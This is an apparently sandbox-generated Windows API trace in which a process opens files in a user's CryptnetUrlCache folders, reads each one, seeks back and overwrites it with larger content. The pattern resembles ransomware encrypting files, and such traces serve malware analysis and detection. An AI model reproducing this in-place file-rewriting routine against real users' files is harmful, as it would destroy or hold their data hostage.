[0053.510] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.512] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x917c0 [0053.512] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.512] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.512] WriteFile (in: hFile=0x12c, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0053.513] WriteFile (in: hFile=0x12c, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.513] CloseHandle (hObject=0x12c) returned 1 [0053.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\40e450f7ce13419a2ccc2a5445035a0a_06f02b1f13ab4b11b8fc669bde565af1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.513] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.513] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xb68 [0053.514] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.514] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.514] ReleaseMutex (hMutex=0x128) returned 1 [0053.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0053.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpUsedDefaultChar=0x0) returned 65 [0053.514] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0xb68, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f2bc*=0xb68, lpOverlapped=0x0) returned 1 [0053.516] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.516] WriteFile (in: hFile=0x12c, lpBuffer=0x26152d8*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26152d8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x10f0, lpOverlapped=0x0) returned 1 [0053.516] CloseHandle (hObject=0x12c) returned 1 [0053.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.517] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.517] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1fa [0053.517] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.517] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.517] ReleaseMutex (hMutex=0x128) returned 1 [0053.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0053.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpUsedDefaultChar=0x0) returned 32 [0053.517] ReadFile (in: hFile=0x12c, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1fa, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2b0f2bc*=0x1fa, lpOverlapped=0x0) returned 1 [0053.518] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.518] WriteFile (in: hFile=0x12c, lpBuffer=0x3a48578*, nNumberOfBytesToWrite=0x782, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a48578*, lpNumberOfBytesWritten=0x2b0f2d0*=0x782, lpOverlapped=0x0) returned 1 [0053.518] CloseHandle (hObject=0x12c) returned 1 [0053.518] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_c080da2ae431c1a7f3b0c147eeb043ed"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.519] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.519] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1cf [0053.519] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.519] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.519] ReleaseMutex (hMutex=0x128) returned 1 [0053.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0053.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpUsedDefaultChar=0x0) returned 65 [0053.519] ReadFile (in: hFile=0x12c, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x2b0f2bc*=0x1cf, lpOverlapped=0x0) returned 1 [0053.520] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.520] WriteFile (in: hFile=0x12c, lpBuffer=0x3a48578*, nNumberOfBytesToWrite=0x757, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a48578*, lpNumberOfBytesWritten=0x2b0f2d0*=0x757, lpOverlapped=0x0) returned 1 [0053.520] CloseHandle (hObject=0x12c) returned 1 [0053.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9bc2ffc5d9591e1bd3545230e9b7cc36_cf30943571f9bee96c487b2d9f0436e6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.521] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.521] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5ab [0053.521] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.521] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.521] ReleaseMutex (hMutex=0x128) returned 1 [0053.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0053.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpUsedDefaultChar=0x0) returned 65 [0053.521] ReadFile (in: hFile=0x12c, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x5ab, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x2b0f2bc*=0x5ab, lpOverlapped=0x0) returned 1 [0053.527] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.527] WriteFile (in: hFile=0x12c, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0xb33, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f2d0*=0xb33, lpOverlapped=0x0) returned 1 [0053.527] CloseHandle (hObject=0x12c) returned 1 [0053.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_6043fc604a395e1485af7ac16d16b7ce"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.527] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.528] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6e3 [0053.528] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.528] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.528] ReleaseMutex (hMutex=0x128) returned 1 [0053.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0053.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpUsedDefaultChar=0x0) returned 65 [0053.528] ReadFile (in: hFile=0x12c, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6e3, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2b0f2bc*=0x6e3, lpOverlapped=0x0) returned 1 [0053.529] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.529] WriteFile (in: hFile=0x12c, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0xc6b, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f2d0*=0xc6b, lpOverlapped=0x0) returned 1 [0053.530] CloseHandle (hObject=0x12c) returned 1 [0053.530] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\1bb09beec155258835c193a7aa85aa5b_a7b2b53af2a12e2cb0a41b96d21d7973"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.531] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.531] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x194 [0053.531] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.532] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.532] ReleaseMutex (hMutex=0x128) returned 1 [0053.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0053.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpUsedDefaultChar=0x0) returned 65 [0053.532] ReadFile (in: hFile=0x12c, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x194, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x2b0f2bc*=0x194, lpOverlapped=0x0) returned 1 [0053.532] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.532] WriteFile (in: hFile=0x12c, lpBuffer=0x1da5ef8*, nNumberOfBytesToWrite=0x71c, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ef8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x71c, lpOverlapped=0x0) returned 1 [0053.533] CloseHandle (hObject=0x12c) returned 1 [0053.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.535] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.535] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x18e [0053.535] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.535] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.535] ReleaseMutex (hMutex=0x128) returned 1 [0053.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0053.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpUsedDefaultChar=0x0) returned 65 [0053.535] ReadFile (in: hFile=0x12c, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x18e, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x2b0f2bc*=0x18e, lpOverlapped=0x0) returned 1 [0053.536] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.536] WriteFile (in: hFile=0x12c, lpBuffer=0x1da5ef8*, nNumberOfBytesToWrite=0x716, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ef8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x716, lpOverlapped=0x0) returned 1 [0053.536] CloseHandle (hObject=0x12c) returned 1 [0053.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_294110d6990ee392327f8a606d55bc1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.541] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.541] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x186 [0053.541] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.541] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.541] ReleaseMutex (hMutex=0x128) returned 1 [0053.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0053.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpUsedDefaultChar=0x0) returned 65 [0053.541] ReadFile (in: hFile=0x12c, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x186, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x2b0f2bc*=0x186, lpOverlapped=0x0) returned 1 [0053.542] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.542] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x70e, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x70e, lpOverlapped=0x0) returned 1 [0053.542] CloseHandle (hObject=0x12c) returned 1 [0053.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8828f39c7c0ce9a14b25c7eb321181ba_3df94eb797096674f7793a562a778c5f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.543] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.543] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x188 [0053.543] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.543] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.543] ReleaseMutex (hMutex=0x128) returned 1 [0053.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0053.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 